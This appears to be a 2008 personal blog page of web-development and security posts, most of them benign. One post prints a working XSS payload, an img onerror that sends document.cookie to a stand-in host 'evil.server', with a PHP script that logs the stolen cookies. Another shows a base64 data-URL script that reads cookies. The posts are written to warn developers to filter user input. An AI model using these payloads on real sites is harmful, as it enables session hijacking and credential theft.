Prototype JS - form elements need names, not just IDs
June 6th, 2008 by Aaron
So, I got stuck on this bug for an hour - so I thought I’d write it down.
I was using prototype js’s serialize command on a form. I was also using a strict xhtml doctype. My form elements had IDs only - and did not have names. Well, serialize kept coming back empty. Turns out that prototype requires there to be names on each of the elements.
UPDATE: Der - according to W3C, the ‘name’ attribute of the ‘form’ tag is deprecated, not the name attribute of the form elements…
*hits head with hand*
JS Tool - Security Auditing in Javascript
April 24th, 2008 by Aaron
JSTool was a trial run of combining many different scripts from the open source community into a security and auditing script. Features would include history viewing, website status reporting and port scanning. Very little original code - just combinations of existing code. Check the comments for proper author attribution. This script really isn’t in working condition for production distribution. Download it and learn from it.
XSS with Img OnError attribute
March 19th, 2008 by Aaron
So much of my time is spent worrying over the src or href tags on images and links - that I sometimes forget about the other attributes.
Imagine being able to make an image which has no black-flagged content in the src but yet can still make a remote request, logging the user’s cookie information? Thats right - this can be done - using the ‘onerror’ attribute of an image.
What you need to do is to create an image link that is obviously broken or empty. Then, javascript handles such events by throwing an error for that element. Add an item to the onerror attribute to request a remote URL as your images src - which you add on document.cookie. The remote script logs all requests, and then displays an image.
Check out the code below:
Source page without proper filtering:
View CodeHTML | |
1 2 3 4 5 6 7 | <html> <body> <h1>test</h1> <h2>asdf</h2> <img src="" onerror="this.src='http://evil.server/exploit.php?'+document.cookie" /> </body> </html> |
Then, on evil.server, place your image. Finally, top it off with the following code in exploit.php
View CodePHP | |
1 2 3 4 5 6 7 8 | <?php $image_path = 'test.jpg'; header('Accept-Ranges: bytes'); header('Content-Length: ' . filesize($image_path)); header('Keep-Alive: timeout=15, max=2469'); echo file_get_contents($image_path); file_put_contents("cookieLog.txt", $_SERVER['REQUEST_URI']); ?> |
Easy as that. Just another reminder to properly filter your use submitted content.
Update your URL filtering: possible XSS from “Data” URL scheme - Firefox
March 17th, 2008 by Aaron
In regards to the Data in URL scheme (RFC here), I’ve found an interesting issue with the way firefox handles it which could lead to some XSS I think.
First of all, if you’re not aware of the feature, let me explain. Browsers are built to decode information in the URL (for the purpose of this blog, I’m JUST focusing on base64) with a specific URL handler: data:text/html;base64,
With this, you can add specific payloads to the URLs (think a very very small .com or .exe file) or specify the actual image data for an image tag (think single PHP scripts with no image directory - neeto!)
Well, because Firefox supports this action, you can now create javascript payloads in the URL too. Please check your HTML/URL filtering routines to make sure you filter against this malicious link type.
Lets see an example:
First off, this is just an example - so it’s pretty simple. But I could make a request to a remote server through an image.src or an ajax call. Here, I’m just alerting the cookie to the screen (note, if this wasn’t an alert, the average user would not notice.)
View CodeJAVASCRIPT | |
1 | <script>alert("cookie steal: "+document.cookie);window.location.href='http://www.google.com';</script> |
Which, when base64 encoded is
PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+
Put it all together:
View CodeHTML | |
1 | <a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiY29va2llIHN0ZWFsOiAiK2RvY3VtZW50LmNvb2tpZSk7d2luZG93LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly93d3cuZ29vZ2xlLmNvbSc7PC9zY3JpcHQ+">Google.com</a> |
Now, I’ve tested this example in Firefox 2 which supports this scheme - and it alerts the cookie. With IE 7, no such luck.
*Disclaimer* It should be noted, I think this is NOT an issue with Firefox’s handling of the specification. See #6:
6. Security Interpretation of the data within a "data" URL has the same security considerations as any implementation of the given media type. An application should not interpret the contents of a data URL which is marked with a media type that has been disallowed for processing by the application's configuration.
Cross Domain AJAX - A quick anatomy of a mashup
September 19th, 2007 by Aaron
So after searching the Internet for some cross domain AJAX stuff, I noticed two interesting articles. The first was the specifics of writing these queries (located here). Then, the next gave a breakdown of how this might be useful in a mash-up collaborative sense (here).
The one missing point was how the collaboration should occur. There is talk about same parent domain but I think everyone’s forgetting about the DNS/webserver changes that need to happen.
In order to prove my concept on my windows box, I set up the examples. In that previous example, domain D had a subdomain of D_s which pointed to E.
I determined what the IP address of E was and entered that into my hosts file (I don’t have access to a DNS server at the moment) followed by the subdomain D_s.
Next, using apache, I found the virtual host for E, and put in ‘ServerAlias D_s’. This will make sure that the incoming connection to that IP will also respond to that sub domain.
I just wanted to jot this down to help fill in the hole I noticed. 
Demonstrating Password Manager Almost Vulnerability in FireFox
July 28th, 2007 by Aaron
The “security guys” have been talking about the problems with FireFox’s password manager and I got curious. It turns out that javascript can access saved passwords in your password manager simply by creating a login form and capturing the input field’s contents. While this isn’t necessarily a vulnerability in FireFox, it does suck! The biggest attack vector is websites that allow user submitted content that have script injection holes. Basically, if a third party can create a form and insert some javascript on the page, they will be ‘acting’ to the browser as if they’re a legitimate part of the site. Lets check out a proof of concept:
Continue reading Demonstrating Password Manager Almost Vulnerability in FireFox
Unobtrusive JS to stop form submission
July 5th, 2007 by Aaron
On one of the sites at (”the triangle”), one of the programmers on my team had this strange attachment to the Yahoo User Interface libraries - but I guess that was a good thing as it taught him a good lesson - use unobtrusive javascript. Recently, I had to go through and clean up some of the code (and do a security audit), and I discovered his usage of the YUI library functions. I was particularly impressed with his usage of the onclick handler for some radio buttons we had and how he was able to send an array of their IDs to the function. Pretty sweet stuff. However, there was one area where he wasn’t following the unobtrusive paradigm. I took a quick glance at it - and fell for the same shortcoming. We were using a return function() on our form submissions.
Such good progress on separation of logic and markup, until now. Well, I wasn’t going to let this one sit. While I can’t make the changes to this code now (the site is in QA/integration), I can detail out how I would fix it… here’s how:
Continue reading Unobtrusive JS to stop form submission
Subscribe